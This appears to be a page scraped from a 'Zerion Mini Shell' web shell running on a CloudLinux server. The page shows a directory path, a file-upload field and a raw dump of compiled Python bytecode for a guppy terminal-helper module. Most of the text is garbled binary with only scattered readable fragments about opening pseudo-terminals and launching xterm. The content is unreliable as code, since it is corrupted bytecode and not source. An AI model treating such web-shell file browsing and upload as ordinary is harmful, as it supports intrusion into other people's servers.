ok

Mini Shell

Direktori : /opt/cloudlinux/venv/lib64/python3.11/site-packages/guppy/etc/__pycache__/
Upload File :
Current File : //opt/cloudlinux/venv/lib64/python3.11/site-packages/guppy/etc/__pycache__/xterm.cpython-311.pyc

�

�܋f=	��L�ddlZddlZddlZd\ZZZd�Zd�Zd	d�Zd	d�Z	d�Z
dS)
�N)r��c��	ddl}	|�tjdd��\}}n&#t$r}tj|���d}~wwxYw||fS#t$rYnwxYwdD]R}dD]M}d|z|z}	tj|tj��}n#t
j$rY�<wxYw|d|z|zfccS�Stjd���)Nri��pqrstuvwxyzPQRST�0123456789abcdefz/dev/ptyz/dev/ttyzout of pty devices)	�sgi�_getpty�fcntl�O_RDWR�IOError�os�error�ImportError�open)r�tty_name�	master_fd�msg�x�y�pty_name�fds        �b/builddir/build/BUILD/cloudlinux-venv-1.0.6/venv/lib64/python3.11/site-packages/guppy/etc/xterm.py�master_openrs/��	#��
�
�
�	 �"%�+�+�e�l�E�1�"E�"E��H�i�i���	 �	 �	 ��(�3�-�-������	 �����(�"�"���
�
�
���
���� �,�,��#�	,�	,�A�!�A�~��)�H�
��W�X�u�|�4�4�����8�
�
�
���
�����
�Q���*�+�+�+�+�+�+�
	,�
�(�'�
(�
(�(s7�A�$,�
A�A
�
A�
A#�"A#�7B�B)�(B)c�@�tj|tj��S)N)r
rr
r)rs r�
slave_openr.s��
�7�8�U�\�*�*�*��c�6�t��\}}tj��}|r�t|��}tj|t
��tj|t��tj|t��|tkrtj|��tj|��tj
���|�
|��n7tj��d||dd�|fz}tj
|��|S)Nzxterm %s -S%s%d���)rr
�forkr�dup2�STDIN_FILENO�
STDOUT_FILENO�
STDERR_FILENO�close�sys�stdin�readline�setsid�system)�prog�optionsrr�pid�slave_fd�cmds       r�xtermr02s���%�-�-��I�x�
�'�)�)�C�
���h�'�'��	���,�'�'�'�
���-�(�(�(�
���-�(�(�(��}�$�$��H�X����
�������	���������D�F�F�F��
�	�����7�H�R�S�S�M�9�"E�E��
�	�#�����Jrc��tj��}|r|Stj��t||��}|stjd��dSdS)Nr)r
r r)r0�_exit)r+r,r-s   r�	forkxtermr3KsW��
�'�)�)�C�
���
�
�	�����D�'�"�"���	��H�Q�K�K�K�K�K�	�	rc�&�td��		�)N�hello)�print�rrr5r5Vs��	�'�N�N�N�
��
r)Nr)r
r&r
r"r#r$rrr0r3r5r7rr�<module>r8s���
�	�	�	�
�
�
�
�����.5�*��m�]�)�)�)�4+�+�+�����2����
�
�
�
�
r

Zerion Mini Shell 1.0